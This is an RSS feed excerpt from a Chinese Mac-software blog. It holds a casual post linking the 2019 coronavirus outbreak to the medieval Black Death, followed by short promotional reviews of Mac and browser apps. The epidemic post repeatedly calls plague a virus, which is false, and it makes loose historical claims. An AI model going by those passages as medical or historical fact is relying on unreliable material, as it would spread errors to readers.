    • 出现感冒发热症状主动隔离自己,保证14天时间
    • +
    + +

    由于我并不是专业人员,对新型冠状病毒如何产生,源头是哪些,传播形式的详细信息不敢妄加评论,但还是愿意为大家推荐一些非常实用的病毒实时数据分享工具,以便大家可以及时了解实时进展,毕竟我们不能一直在家坐以待毙,我们还要计划好节后的学习工作与生活,基本上,有以下几个工具及资料推荐参考:

    + +

    病毒的呼吸防护——关于口罩的科学常识

    + +

    这是一篇由 3M 官方微信号发表的文章,看了以后帮助大家在选购口罩这件事上少走一些弯路。

    + +

    丁香园疫情实时播报与分布地图

    + +

    这个 Mobile 页面可以实时显示全国各省的感染人群数据以及全球的数据信息,并以地图形式直观的展现出来,分“确诊”、 “疑似”、“治愈”等细化信息。

    + +

    病毒来袭,你的钱包会怎么样?

    + +

    这篇文章以预测式的角度去分析、预测了一下疫情对国内网经济、个人投资理财的影响,我觉得写得挺有意思。

    + +

    2019 新型冠状病毒扩散的可视化

    + +

    此文收集了作者在病毒爆发后所关注的国际媒体与组织在报道和研究中,对疫情数据所做的可视化数据汇总。可视化数据较为明了的展现了不同地区实时疫情扩散情况与严重程度,趋势图的快速增长可警醒人们提高防范意识。

    + +

    闲聊一些2019新型冠状病毒的事情插图

    + +

    新型冠状病毒各省份数据的 Bitbar 插件

    + +

    V站网友自制的 Bitbar 插件,可以在状态栏上实时看武汉肺炎各省份的情况。数据来自丁香园「下载地址

    + +

    闲聊一些2019新型冠状病毒的事情插图(1)

    + +

    由这次病毒事件想起的欧洲中世纪鼠疫

    + +

    基于现代医学的奠定基础与当前较为先进的信息化医疗技术,人类在遇到鼠疫(也叫黑死病),肺部病毒的时候不会像14世纪欧洲人民那样痛苦,大多数人都会得到及时的治疗和康复结果,只有年龄大,既有疾病多,免疫力极底的人,才会有可能挂掉。

    + +

    当时欧洲中世纪鼠疫造成了欧洲三分之一人口的毁灭,人们把罪责一味的归罪于犹太人、麻风病人或是蒙古人攻打卡法时投入的黑死病人尸体造成的,及时老鼠、旱獭(土拨鼠),不过欧洲人也应该自己反省一下,当时的欧洲还没有进行工业革命,混沌的社会还被教会把控着,人们生病不会去找医生(那时候医生不是什么被人尊重的职业),实在顶不住了会请教士们来家里做祷告,或者找些巫师来做驱魔之类的,他们不会找鼠疫的治愈方法,也不知道如何处理感染鼠疫病毒的病人,更糟糕的是当时欧洲城市化水平落后(不如古罗马与东方中国),卫生条件极差,屎尿粪这些东西的处理方式非常容易被暴露在城市街道中,这给老鼠们造成了一个非常完美的生活温床,不出鼠疫才怪呢。

    + +
    闲聊一些2019新型冠状病毒的事情插图(2)
    The angel of death striking a door during the plague of Rome
    Credit: Wellcome Library, London. Wellcome Images
    images@wellcome.ac.uk
    http://wellcomeimages.org
    The angel of death striking a door during the plague of Rome. Engraving by Levasseur after J. Delaunay.
    By: Jules-Elie Delaunayafter: LevasseurPublished: –
    Copyrighted work available under Creative Commons Attribution only licence CC BY 4.0 http://creativecommons.org/licenses/by/4.0/
    + +

    那么这也并不是说明当时的欧洲人就是去接触老鼠、吃老鼠才染上的鼠疫,这一点上,当代人吃野味的行为简直是历史的倒退唉… 事实上是由于老鼠身上的病毒经常被跳蚤带走,而跳蚤在吞噬老鼠身上的微生物后将病毒积累在自己的食道中,在他们咬破人类的皮肤准备吸血后由于食道堆积的病毒太多,自然会将病毒吐到人类的血管中,这样才造成的病毒传播。

    + +

    黑死病的传播同样与我们当前遇到的新冠病毒一样,除了上面这种「鼠-蚤-人」的形式外,“飞沫”,“接触病人化脓伤口”都是极其快速的传播,而且鼠疫的发病速度比新冠还要快。

    + +

    中世纪欧洲黑死病传播速度快、范围广、持续时间长(13xx-16xx),它随着商船,迁徙民族、军队被带到了法国、英国、意大利、德国,东欧诸国,最后一站是俄罗斯。由于黑死病太过凶猛,处理病人以及搬运尸体时不能直接接触他们,所以医生们绞尽脑汁去想一些保护措施,比如法国人发明的鸟嘴面具,很有可能是阀门口罩、防毒面具的灵感出处,这种鸟嘴面具与 N95 口罩相比功效基本为0,以现在的医学技术角度看也就是个心理安慰工具,鸟嘴部分可以放一些香料、草药来抵御一下病毒的入侵,这一点上倒是与当前的阀门口罩很相似,两者都是带有“过滤”装置,不过鸟嘴面具这东西并没有做出什么实质过滤功效,虽然没有啥科学贡献,但至少为后来人类的文艺创作激发了不少画面灵感。

    + +
    闲聊一些2019新型冠状病毒的事情插图(3)
    这种面具起源与1619年,一名叫Charles de Lorme的法国医生发明
    + +

    虽然说这场瘟疫给欧洲文明带来了巨大损失,但任何事都不一定是坏事,物极必反嘛。一是人口骤减让欧洲的劳动力稀缺,直接搞垮了农奴制度,自耕制度开始登上历史舞台,自耕时间长了体力吃不消,开始雇人来做,最后促使了农场主制度的诞生;二是由于死去的人太多,又是无差别染病,所以造成了各个阶级以家庭为单位的毁灭,这么多家庭的财产被他们的七大姑八大姨远房亲戚继承,一夜之间造成了许多“土豪”的诞生,有了钱谁会再去当农民,当然是做房东、买贵族爵位、搞高利贷等买卖咯,这也是资产阶级孕育而生的初始之一;三是黑死病的席卷让人们不再单纯信奉基督教及教会,人们愿意主动研究医学以及其他科学技术,愿意将孩子送到学校去学习知识,黑死病过后欧洲建立了许多医学院,因为欧洲人不想再遭受瘟疫的折磨。

    + +

    从上述变化来看,欧洲遭受了痛苦与折磨竟然是欧洲文明发展的历史拐点。

    + +

    任何疫情的发生,不能完全归罪于自然灾难,这里面有一些是我们自己造成的,比如这次新冠病毒的源头,专家分析是来自于野生动物身上,传染形式是人们通过进食的方式引入了野生动物身上的病毒,这一点说明了什么?说明人们饥饿难耐被迫染上的病毒吗?当然不是,还不是中间的猎奇心态,藐视科学,不珍爱生命,不敬畏大自然,利欲熏心,畸形的炫富欲望导致的恶果吗?如果说700年前的鼠疫是大自然主动找上门来的,那这次疫情可以说是我们自己引火上身了。

    + +

    但是,我国在21世纪初遭受的这两次大规模传染病疫情也不一定是什么坏事情,这也是考验我国在面临大规模灾难事件的机制运转、科学技术解决能力、社会协同运转能力、公民素质的重要节点,也很可能是促进我国进一步深入发展的历史跳跃点,相信这次我们一定能战胜新型冠状病毒!中国加油!

    + +
    + +

    资料参考

    + + +

    本文发表自Mac玩儿法,转载请注明转自《闲聊一些2019新型冠状病毒的事情

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/2019-wuhan-coronavirus-outbreak/feed + 1 +
    + + Klib:专为 Kindle 打造的笔记管理软件 + https://www.waerfa.com/klib + https://www.waerfa.com/klib#comments + Sun, 26 Jan 2020 16:07:10 +0000 + + + + + http://www.waerfa.com/?p=38549 + + 说起关于在 macOS 上管理 Kindle 笔记内容的软件或服务真的还不多,Klib 则是 iPic 开发者 Jason 推出的又一款效率产品,Klib 是 Kindle library 两个单词的头字母的联合体单词,专注于对 Kindle 标注、笔记内容的管理/编辑工作,未来这款软件还将支持『多看』 平台。

    + +

    Klib 可将 Kindle 中所有图书中包括的笔记导入并列举出来,单击空格键可对笔记内容进行浏览,当然你也可以直接在原有内容上进行二次编辑。已阅读完的笔记可选择划入『已读』栏目并隐藏起来。

    + +

    Klib:专为 Kindle 打造的笔记管理软件插图

    + +

    把 Kindle 连接 Mac 后可直接把其笔记备注数据导入 Klib:

    + +

    Klib:专为 Kindle 打造的笔记管理软件插图(1)

    + +

    Klib 支持将笔记快速拷贝为 Markdown 格式,方便用户在其他编辑平台引用:

    + +

    Klib:专为 Kindle 打造的笔记管理软件插图(2)

    + +

    Klib 支持搜索笔记中包含的大部分信息,诸如:书名、作者、笔记、内容、书中位置、插入日期等等;比如我想搜索 2016 年看过的书名中有「黑客」、跟「设计师」有关的笔记,输入「2016 黑客 设计师」这样的组合词即可:

    + +

    另外如果你是热键控的话,也可以参考下列 Klib 的快捷键设置提高操作效率:

    + +
      +
    • Tab 在书和笔记列表间切换
    • +
    • 空格键 快速预览
    • +
    • 方向键 查看相邻的预览或简介
    • +
    • J K 方向键,Vimer,你懂的
    • +
    • Command + F 搜索
    • +
    • Command + I 查看简介
    • +
    • Command + C 复制笔记
    • +
    • Command + Shift + C 以 Markdown 格式复制笔记
    • +
    • Command + Shift + R 标记为已读
    • +
    • Command + Option + S 隐藏书籍列表
    • +
    • Command + Ctrl + F 进入全屏幕
    • +
    • Command + Shift + I 导入
    • +
    • Command + Shift + E 导出
    • +
    • Ctrl + F 反馈
    • +
    • Ctrl + Option + F 发邮件反馈
    • +
    + +

    Klib 目前可在 MAS 上免费获取,升级付费高级版可享受不受限制的笔记导入数量。

    + +
    + +

    最后再推荐几个其他平台的 Kindle 笔记管理产品:

    + + +

    本文发表自Mac玩儿法,转载请注明转自《Klib:专为 Kindle 打造的笔记管理软件

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/klib/feed + 4 +
    + + Affinity Photo:简单上手体验「国内正版销售渠道出炉」 + https://www.waerfa.com/affinity-photo-basic-review + https://www.waerfa.com/affinity-photo-basic-review#comments + Sun, 26 Jan 2020 15:49:17 +0000 + + + + + http://www.waerfa.com/?p=28994 + + 目前 Affinity Photo 国内销售渠道以及优惠价格已经由数码荔枝放出,单个 license 价格折合人民币为 284 元,与官方价格 387 元相比大约为 73 折左右。

    + +

    购买 Affinity Photo 国内特惠版本

    + +

    近期 Affinity Photo 的上架引来了不少 Mac 用户剁手的欲望,但因其略高的售价使得很多小伙伴都在奔走等待中。等什么?当然是等某个土豪洒洒水后的感悟。但很不幸的是如今的土豪都学会了低调,在苦等无果后自己终于还是没忍住,挥刀自剁,于是有了现在你看到的这篇不算评测的体验文。

    + +

    注意到 Affinity Photo 完全是因为其家族成员 Affinity Designer,只不过这个获得过 Apple 设计大奖的应用所主打的矢量绘图领域并不是我的菜,反而是后续放出的 Affinity Photo 吊起了我的胃口。众所周知,在图像处理领域 Phtotoshop 长久以来都是一枝独秀,但其霸道的硬件要求和高昂的订阅费用一直是用户难以跨越的高门槛。纵使你不得不承认其功能已到了出神入化独孤求败的境界,但现实却是对于大部分用户而言 Photoshop 80% 的功能是极少被用到的,但用户却不得不为另外的 20% 去忍受一个资源占用的大户。于是有人呼吁 Adobe 应该出一款廉价的简化版 Photoshop 来满足这 20% 的需求。很明显,不开化的 Adobe 并没有这么做「别跟我提 Photoshop Elements」,所以就有了后来的 Pixelmator,Acron 以及下面要介绍的 Affinity Photo 这类功能不及 Photoshop 但却足以满足图像「裁修画改」基本需求的产品。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图

    + +

     

    + +

    对于 Affinity Photo 我也是初上手,怎么说这家伙也是个体积高达 500M+的大家伙,有太多的功能还在摸索中,所以就像本文开头所言,评测肯定算不上,就简单聊聊我的使用感受吧。

    + +

    窗口布局

    + +

    传统且标准化的设计类应用布局,无需多言。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(1)

    + +

     

    + +

    灵活的工具栏自定义功能自然也是标配。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(2)

    + +

     

    + +

    同时也提供了 Separated Mode「分散式」窗口布局,虽然我个人很不喜欢这种布局,但这对于转化 Pixelmator 的用户多少是个不错的设计。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(3)

    + +

     

    + +

    和其它同类应用不同的是,Affinity Photo 还根据自身特色设计了四种不同的角色化布局,通过窗口左上角的四个按钮进行切换,分别是:

    + +

    默认状态下的基本图像处理 Photo Persona

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(4)

    + +

     

    + +

    主打液化效果的 Liquify Persona

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(5)

    + +

     

    + +

    专注 RAW 照片处理的 Develop Persona

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(6)

    + +

     

    + +

    方便多平台切片输出的 Export Persona

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(7)

    + +

     

    + +

    另外提一点我个人在使用时发现的一处布局调整。在默认的固定式布局下,左侧工具条是没有「前景 / 背景」调色板的,这让我在一开始的时候很是抓狂,后来发现在 View 菜单中取消勾选 Dock Tools 就可以看到了,只不过工具条也同时变为了浮动式。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(8)

    + +

     

    + +

    图层管理

    + +

    和 Pixelmator 一样,标准的 .psd 文件可以直接读取「包括最新的 CC 2015」,普通图层基本都可见,加过效果的图层会和 Photoshop 一样多一个 fx 的标示,双击可以调出图层效果面板,兼容性和可编辑性比 Pixelmator 好一些,至少在读取方面问题不大,但若是编辑的话建议还是扔回 Photoshop 较为实际。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(9)

    + +

     

    + +

    图层的分组,合并,对齐,隐藏…等操作都和同类应用无异,只不过在快捷键的设置上略有不同。比较令人遗憾的是只有带有 fx 的 .psd 图层可以双击开启效果面板,其它图层则只能通过独立的属性面板来进行效果添加。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(10)

    + +

     

    + +

    另外对于图层混合模式的调整居然是实时预览的,不像同类应用需要选定后才能看到,这算是其一大亮点。

    + +

    滤镜

    + +

    标配的滤镜除了有同类应用中较为常见的几种效果外,较为特色的是 Affinity Photo 所提供的几样诸如 Lighting / Shadows / Hightlights 等有针对性效果的滤镜,非常适合用来快速处理各种调调的照片。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(11)

    + +

     

    + +

    另外在设置项和帮助文档中可以看到 Affinity Photo 兼容部分 64-bit Photoshop Plugins 来扩充滤镜效果,不过由于 Mac 下没装 Photoshop,所以该项有待实测。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(12)

    + +

     

    + +

    其它

    + +

    Media Browser

    + +

    开启一个独立浮窗,可以在里面方便的添加,预览以及调用本地素材库,默认已经关联了系统的 Pictures 目录和 Photos 的照片库。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(13)

    + +

     

    + +

    New View

    + +

    将同一张图片同时显示在多个独立窗口中,任意对其中一个窗口中的图片进行处理会在其它窗口中实时看到同样的效果,很适合需要对图片进行局部处理又想预览到整体效果时的操作场景。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(14)

    + +

     

    + +

    Assistant

    + +

    顾名思义,这是一个应用内部的帮助通知功能,可以设置在激活某项操作时进行相关功能的操作提示,对于新手来说很有用处,当然如果你嫌它烦也可以关掉它。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(15)

    + +

     

    + +

    Force Touch

    + +

    支持 Froce Touch,当然前提是你要有台 2015 款的 Mac,也算是目前第三方应用中少有的支持该功能的产品。你问感觉如何?我只能说偶尔用用还行,专业用还是去买杆压感笔吧…

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(16)

    + +

     

    + +

    iCloud Drive

    + +

    这个不用多说,虽然苹果的同步功能万年不好用,但对于跨设备使用多少还是有些用处的。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(17)

    + +

     

    + +

    Keyboard Shortcuts

    + +

    官网为了方便用户记忆快捷键特别制作了这张漂亮的键盘图,可惜貌似没有集成到产品里,试想当忘记某个快捷键时可以一键呼出这么一张带感的图该是多么有逼格的一件事情。

    + +

    Affinity Photo:简单上手体验「国内正版销售渠道出炉」插图(18)

    + +

     

    + +

    Auto Save

    + +

    没错,这个关键时刻可以救命的小功能也是标准配备。

    + +

    尾声

    + +

    Mac 下优秀的原生图象处理类应用本就凤毛麟角,每出来一个都会被寄予 Photoshop 替代者的称号,来势汹汹的 Affinity Photo 必然也不例外。但 Photoshop 在大哥的路上走了这么多年,可不是一个毛头小子可以撼动的。除去其功能无论在强度还是广度上依然让后来者难望其背顶,更重要的是其在图像处理领域内的影响力早已无同类可比,因为它就是行业标准。试想当大家都在用 Photoshop 的时候,你若剑走偏锋就必然导致产生协作问题。所以从这一层面来说,无论是 Pixelmator 还是 Affinity Photo 都不具备替代 Photoshop 的可能。

    + +

    但话分两头,如果你或者所处的环境并不是很依赖于 Photoshop,那么 Affinity Photo 或许会是个不错的选择。它基于 Mac 的软硬件全面进行优化,在满足图像基本处理需求的同时加入了很多便捷化的操作,同时也具有不错的 PSD 文件兼容性,甚至针对专业摄影师提供了独立的 RAW 编辑功能。$49.99 的售价虽然比之同类略高,但开发商 Serif Labs 既然能用 Affinity Designer 和 Affinity Photo 双管齐下的方式主攻矢量绘图和图像处理,足见其对于产品和市场的重视度,所以我们也应该有理由期待 Affinity Photo 会变得越来越好。

    + +

    购买 Affinity Photo 国内特惠版本

    +

    本文发表自Mac玩儿法,转载请注明转自《Affinity Photo:简单上手体验「国内正版销售渠道出炉」

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/affinity-photo-basic-review/feed + 8 +
    + + Spotify Web Player 歌词扩展:画中画显示歌词 + https://www.waerfa.com/spotify-web-player-%e6%ad%8c%e8%af%8d%e6%89%a9%e5%b1%95%ef%bc%9a%e7%94%bb%e4%b8%ad%e7%94%bb%e6%98%be%e7%a4%ba%e6%ad%8c%e8%af%8d + https://www.waerfa.com/spotify-web-player-%e6%ad%8c%e8%af%8d%e6%89%a9%e5%b1%95%ef%bc%9a%e7%94%bb%e4%b8%ad%e7%94%bb%e6%98%be%e7%a4%ba%e6%ad%8c%e8%af%8d#respond + Sat, 25 Jan 2020 11:34:40 +0000 + + + + + https://www.waerfa.com/?p=106574 + + Spotify Web Player 歌词扩展是一款专门为 Spotify Web Player 设计的画中画歌词显示扩展,目前仅支持 Chrome 浏览器,当你使用 Spotify Web Player 听歌时,点击左下角专辑缩略图右侧收藏按钮右侧的画中画按钮,即可触发歌词画中画窗口,歌词会随播放进度实时滚动。火狐浏览器由于目前不支持 PiP WebAPI 所以还没有更新插件。

    + +

    Spotify Web Player 歌词扩展:画中画显示歌词插图

    + +

     

    +

    本文发表自Mac玩儿法,转载请注明转自《Spotify Web Player 歌词扩展:画中画显示歌词

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/spotify-web-player-%e6%ad%8c%e8%af%8d%e6%89%a9%e5%b1%95%ef%bc%9a%e7%94%bb%e4%b8%ad%e7%94%bb%e6%98%be%e7%a4%ba%e6%ad%8c%e8%af%8d/feed + 0 +
    + + Radiohead 推出公共资料馆,所有作品均在在线欣赏 + https://www.waerfa.com/radiohead-public-library + https://www.waerfa.com/radiohead-public-library#respond + Sat, 25 Jan 2020 10:39:20 +0000 + + + + + https://www.waerfa.com/?p=106575 + + Radiohead 于 2020 新年在其官方网站发布了其公共资料馆,乐队所有的正式专辑、单曲、MV、现场表演视频、未发布的单曲小样以及官方纪念品购买链接均出现在资料馆,这些音视频资料仅可在线欣赏(通过 iTunes、Spotify),但不支持下载。

    + +

    Radiohead 推出公共资料馆,所有作品均在在线欣赏插图

    + +

    Radiohead 推出公共资料馆,所有作品均在在线欣赏插图(1)

    +

    本文发表自Mac玩儿法,转载请注明转自《Radiohead 推出公共资料馆,所有作品均在在线欣赏

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/radiohead-public-library/feed + 0 +
    + + One Switch:一个集合一键切换系统各项功能的神奇菜单「特惠价格仅需 39 元」 + https://www.waerfa.com/one-switch-review + https://www.waerfa.com/one-switch-review#respond + Sun, 19 Jan 2020 16:22:14 +0000 + + + + + https://www.waerfa.com/?p=105058 + + One Switch 是火球工作室推出的最新 Mac 效率软件,它在 Menubar 菜单里集成了隐藏桌面(图标)、切换 Dark Mode、保持亮屏、开启屏保的一键切换按钮,将以往这些以独立小软件为单位的小功能集成到了一起,方便用户快速调用,实现是方便很多。

    + +

    One Switch:一个集合一键切换系统各项功能的神奇菜单「特惠价格仅需 39 元」插图

    + +

    对于上述的一键切换功能,之前都有许多 app 在做,比如负责一键隐藏桌面所有图标的 Focus、Hidden me;负责切换黑暗模式的 NightOwl;负责保持长期亮屏的 Caffeine,这些微型软件今后都不需要玩了,只需要安装一个 One Switch 就够了。

    + +

     

    + +

    One Switch 提供 7 天试用,正式价格为 $7.99。

    +

    本文发表自Mac玩儿法,转载请注明转自《One Switch:一个集合一键切换系统各项功能的神奇菜单「特惠价格仅需 39 元」

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/one-switch-review/feed + 0 +
    + + iSlide:让小白也能设计出精美的 PPT「购买年度会员额外送3个月」 + https://www.waerfa.com/islide-review + https://www.waerfa.com/islide-review#respond + Sun, 19 Jan 2020 16:18:45 +0000 + + + + + + https://www.waerfa.com/?p=106565 + + iSlide 是一款基于 PowerPoint 的插件工具,最近购买 iSlide 一年会员即可额外获赠 3 个月的会员延长期,折合每月仅 6.2 元,相当于原价的 75 折。iSlide 内置 20 多万个 PPT 模板,提供的模板画面精美,互动性强,可以直接拿来使用,使用户能够专注于创意策划与内容编写,从技术角度帮助大家节省了不少宝贵的时间。

    + +

    特惠价格购买年度 iSlide 会员

    + +

    iSlide 的资源集成窗口整合了 PPT 案例库,用户可以收藏、下载(后直接自动插入 PowerPoint),你也可以用高级筛选过滤出免费、付费的模板或者根据自己的需求筛选出不同场景的 PPT 模板。

    + +

    iSlide:让小白也能设计出精美的 PPT「购买年度会员额外送3个月」插图

    + +

    除了资源庞大的 PPT 资源,用户还可以在集成窗口获得精美的 PPT 背景图,色彩图、图形排版图、图标库、插图库。

    + +

    第一次使用 iSlide 需要确保你的 Mac 已经安装了 PowerPoint 客户端,授予 iSlide 自动化权限,还有就是在「设置 – 安全性与隐私 – 完全磁盘访问」中添加 PowerPoint 客户端,以便它可以顺利打开 iSlide 的资源。

    + +

    iSlide:让小白也能设计出精美的 PPT「购买年度会员额外送3个月」插图(1)

    + +

    iSlide:让小白也能设计出精美的 PPT「购买年度会员额外送3个月」插图(2)

    + +

    iSlide 的特色就是在你编辑 PowerPoint 时,可以在 iSlide 里点击想要查看的资源即可即时在 PowerPoint 看到效果。

    + +

    iSlide:让小白也能设计出精美的 PPT「购买年度会员额外送3个月」插图(3)

    + +

    iSlide 的精美 PPT 模板,小白用户基本上只需要在模板里修改文字、数据就可以了,其他的事情都交给 iSlide 处理即可。

    + +

    iSlide:让小白也能设计出精美的 PPT「购买年度会员额外送3个月」插图(4)

    + +

    iSlide:让小白也能设计出精美的 PPT「购买年度会员额外送3个月」插图(5)

    + +

    还有就是 iSlide 可以对自己的资源进行详细的个性化设置,比如调整「导出图片」的图片宽度、「另存为全图 PPT」的设置,以及 PPT 拼图时的各种参数,包括水印。

    + +

    iSlide:让小白也能设计出精美的 PPT「购买年度会员额外送3个月」插图(6)

    + +

    特惠价格购买年度 iSlide 会员

    +

    本文发表自Mac玩儿法,转载请注明转自《iSlide:让小白也能设计出精美的 PPT「购买年度会员额外送3个月」

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/islide-review/feed + 0 +
    + + Design Camera:强大的 app 3D 动态模型制作工具「已更名为 Rotato,限时特惠 99 元」 + https://www.waerfa.com/design-camera-review + https://www.waerfa.com/design-camera-review#comments + Sat, 18 Jan 2020 16:33:22 +0000 + + + + + https://www.waerfa.com/?p=104408 + + Design Camera 是一款专门为广大 app 开发者打造的 3D 动态模型制作软件(后面简称 DC),提供了不同尺寸、不同动画场景的移动 app 静态、动态演示。开发者可以自助式的制作自己作品的宣传图、宣传视频,从而将这部分原本可能会外包出去的工作留给自己完成,省去了一定的产品包装成本,要知道目前许多稍微上些档次的 app 宣传图/视频都是用 After Effects、Cinema 4D 这类专业软件去完成。

    + +

    DC 非常擅长制作下图这样的苹果风格动画,app 的魅力在近乎布满整个屏幕的 iPhone 衬托下,逼格满满,很容易勾起用户的使用欲望,这些动画都可以在 DC 中轻松完成。

    + +

    Design Camera:强大的 app 3D 动态模型制作工具「已更名为 Rotato,限时特惠 99 元」插图

    + +

    DC 的主要功能

    + +

    你可以将 DC 理解成可以制作动画效果的带壳截图软件,制作上需要用到的功能像下图小编标注出来的,有:

    + +
      +
    1. 连接被录屏的移动设备
    2. +
    3. 捕捉静态图片按钮
    4. +
    5. 录制动画按钮
    6. +
    7. 选择模型对应的设备(分辨率)
    8. +
    9. 设定模型的静态外形
    10. +
    11. 设定模型的动画特效(旋转、移动等等)
    12. +
    13. 静图/动画的导出(支持 GIF 图片)
    14. +
    + +

    Design Camera:强大的 app 3D 动态模型制作工具「已更名为 Rotato,限时特惠 99 元」插图(1)

    + +

    DC 与你的设备八字合吗?

    + +

    在动画导出上,这款软件支持 4K, 2K, 720p, 1080p 多种格式的视频导出,iPhone X 及以后的设备、三星 S9 设备、TV 设备都在支持范围内。

    + +

    在制作静图、动画的过程中,你需要用 USB 线缆将你的移动设备与 Mac 相连,然后点击工具栏最左侧的“Connect”按钮将移动设备的实时屏幕同步到 DC 上,这样你就可以制作属于自己的 app 宣传作品了,不过在这里要提醒的是,运行这款软件并不是每一台型号的 Mac 都能做到,你的 Mac 必须支持 Metal 渲染引擎、Mac 系统必须是 macOS High Sierra 10.13 或者更新的版本,而最最最让我恼火的是我手上这台配备 Intel Iris Pro 的 2015 款 RMBP 导出的动图非常卡顿,运行时也会出现闪退的情况,这种情况开发者在官网已经做出解释,所以小编也在考虑在近期更新设备,上 Mac mini 小钢炮来解决这个问题。

    + +

    说回正题,来看看 DC 的三个看家本领:

    + +

    Looks(外观设计)

    + +

    Design Camera:强大的 app 3D 动态模型制作工具「已更名为 Rotato,限时特惠 99 元」插图(2)

    + +

    在 Looks 频道,也就是模型的外观设计模块,用户可以为模型选择一个适当的设备造型(单个、多个或者不带设备外壳)以及设备后面的幕布背景色、设备边框色以及设备的立体阴影,是否使用虚拟边框(去除表壳光泽)。

    + +

    Animation(动画设计)

    + +

    Design Camera:强大的 app 3D 动态模型制作工具「已更名为 Rotato,限时特惠 99 元」插图(3)

    + +

    在 Animation(动画设计)里,软件内置了五种动画特效,都是最经典的动画特效,在这里你还能选择视频的分辨率,从 4K 到 720p 不等。或者你自己可以通过“Manual”组合自选的动画特效 (如上图)。

    + +

    Lens(镜头渲染)

    + +

    Design Camera:强大的 app 3D 动态模型制作工具「已更名为 Rotato,限时特惠 99 元」插图(4)

    + +

    只有通过 Lens(镜头渲染)才能凸显一个 app 的魅力。这款软件可以给画面指定位置添加聚焦模糊效果,以增加对关键功能的突出表现,你可以设定光圈大小,聚焦范围,对角距离,动态模糊等参数。

    + +

    与 Sketch 的配合

    + +

    如果你在开发过程中负责(兼职)app 的 UI 设计,你可以直接将 Sketch 中的草稿图直接导入到 DC,草稿图里的各个元素可以直接单独提拉到底图的上方并且直接导入到 DC 中录制成静图或者动画:

    + +

    Design Camera:强大的 app 3D 动态模型制作工具「已更名为 Rotato,限时特惠 99 元」插图(5)

    + +

    在模型编辑后你还能用 Lens 镜头特效为动画添汁加醋,然后再将模型的静图导入回 Sketch 进行二次编辑。

    + +

    Design Camera:强大的 app 3D 动态模型制作工具「已更名为 Rotato,限时特惠 99 元」插图(6)

    + +

    总的来说,Design Camera 非常适合那么运营预算有限的中小开发团队、独立开发者使用,提供的功能可以充分满足用户推广作品的各项需求,目前这款软件正在公开测试中。

    +

    本文发表自Mac玩儿法,转载请注明转自《Design Camera:强大的 app 3D 动态模型制作工具「已更名为 Rotato,限时特惠 99 元」

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/design-camera-review/feed + 1 +
    + + Extfans:国内最方便的 Chrome 插件下载网站 + https://www.waerfa.com/extfans + https://www.waerfa.com/extfans#respond + Thu, 16 Jan 2020 16:55:41 +0000 + + + + + + https://www.waerfa.com/?p=106555 + + Extfans.com 是一家专注于 Chrome 插件扩展下载的网站,也可能是国内最方便的 Chrome 浏览器插件咨询与下载网站,汇集了全球热门 Chrome 插件的介绍和下载渠道,以及丰富的插件使用技巧和插件评测文章。如果你不知道在哪里获取新鲜、实用、安全的 Chrome 插件那就来 Extfans.com 吧。

    + +

